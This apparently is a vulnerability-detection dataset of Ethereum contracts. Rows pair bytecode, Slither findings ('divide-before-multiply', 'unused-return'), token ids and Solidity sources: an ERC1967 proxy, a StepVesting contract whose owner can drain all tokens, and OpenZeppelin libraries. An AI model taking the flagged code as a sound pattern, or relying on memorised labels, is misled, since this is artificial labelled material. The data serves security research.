65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373416e74692d426f74206d656368616e69736d206163746976617465642e2054727920616761696e206c617465725472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201fa3b7f42a1fe3ff3c41e8217e92308fdaf69c0562abf9cf9a5ccbb5d9ca4f4f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 20958, 2509, 7959, 2050, 2620, 29292, 2629, 10732, 27531, 2475, 7875, 21619, 20842, 2278, 2683, 2620, 2278, 2620, 2278, 2620, 29097, 2581, 14526, 2629, 18939, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5840, 1011, 2603, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,898
0x95e4d136b2faee01a74877fc3eabdfa8f6421cb9
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract VacheronConstantin { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "Address Errors"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x6080604052366100135761001161001d565b005b61001b61001d565b005b6100256100c9565b61007d6100547f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b610092565b60000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166100cb565b565b600080823b905060008111915050919050565b6000819050919050565b60606100c183836040518060600160405280602781526020016103d1602791396100f1565b905092915050565b565b3660008037600080366000845af43d6000803e80600081146100ec573d6000f35b3d6000fd5b60606100fc8461007f565b61013b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610132906102eb565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff168560405161016391906102b2565b600060405180830381855af49150503d806000811461019e576040519150601f19603f3d011682016040523d82523d6000602084013e6101a3565b606091505b50915091506101b38282866101be565b925050509392505050565b606083156101ce5782905061021e565b6000835111156101e15782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161021591906102c9565b60405180910390fd5b9392505050565b60006102308261030b565b61023a8185610321565b935061024a81856020860161033d565b80840191505092915050565b600061026182610316565b61026b818561032c565b935061027b81856020860161033d565b61028481610370565b840191505092915050565b600061029c60268361032c565b91506102a782610381565b604082019050919050565b60006102be8284610225565b915081905092915050565b600060208201905081810360008301526102e38184610256565b905092915050565b600060208201905081810360008301526103048161028f565b9050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60005b8381101561035b578082015181840152602081019050610340565b8381111561036a576000848401525b50505050565b6000601f19601f8301169050919050565b7f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60008201527f6e7472616374000000000000000000000000000000000000000000000000000060208201525056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d5c37e7bbca4cefb0e8c0d8d79057871b09ca16d1daac1d8c17093b644e8729364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 2549, 2094, 17134, 2575, 2497, 2475, 7011, 4402, 24096, 2050, 2581, 18139, 2581, 2581, 11329, 2509, 5243, 2497, 20952, 2050, 2620, 2546, 21084, 17465, 27421, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 3206, 12436, 7474, 2239, 8663, 12693, 7629, 1063, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 16703, 10790, 28756, 2581, 2278, 2620, 22407, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,899
0x95e4EAc8a95F44944243630f225983a86e0d670B
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract StepVesting is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; event ReceiverChanged(address oldWallet, address newWallet); uint256 public immutable started; IERC20 public immutable token; uint256 public immutable cliffDuration; uint256 public immutable stepDuration; uint256 public immutable cliffAmount; uint256 public immutable stepAmount; uint256 public immutable numOfSteps; address public receiver; uint256 public claimed; modifier onlyReceiver { require(msg.sender == receiver, "access denied"); _; } constructor( IERC20 _token, uint256 _started, uint256 _cliffDuration, uint256 _stepDuration, uint256 _cliffAmount, uint256 _stepAmount, uint256 _numOfSteps, address _receiver ) public { token = _token; started = _started; cliffDuration = _cliffDuration; stepDuration = _stepDuration; cliffAmount = _cliffAmount; stepAmount = _stepAmount; numOfSteps = _numOfSteps; setReceiver(_receiver); } function available() public view returns(uint256) { return claimable().sub(claimed); } function claimable() public view returns(uint256) { if (block.timestamp < started.add(cliffDuration)) { return 0; } uint256 passedSinceCliff = block.timestamp.sub(started.add(cliffDuration)); uint256 stepsPassed = Math.min(numOfSteps, passedSinceCliff.div(stepDuration)); return cliffAmount.add( stepsPassed.mul(stepAmount) ); } function setReceiver(address _receiver) public onlyOwner { require(_receiver != address(0), "Receiver is zero address"); emit ReceiverChanged(receiver, _receiver); receiver = _receiver; } function kill(address target) external onlyOwner { require(target != address(0), "Transfer to zero address"); uint256 amount = token.balanceOf(address(this)); token.safeTransfer(target, amount); } function claim() external onlyReceiver { uint256 amount = available(); claimed = claimed.add(amount); token.safeTransfer(msg.sender, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. 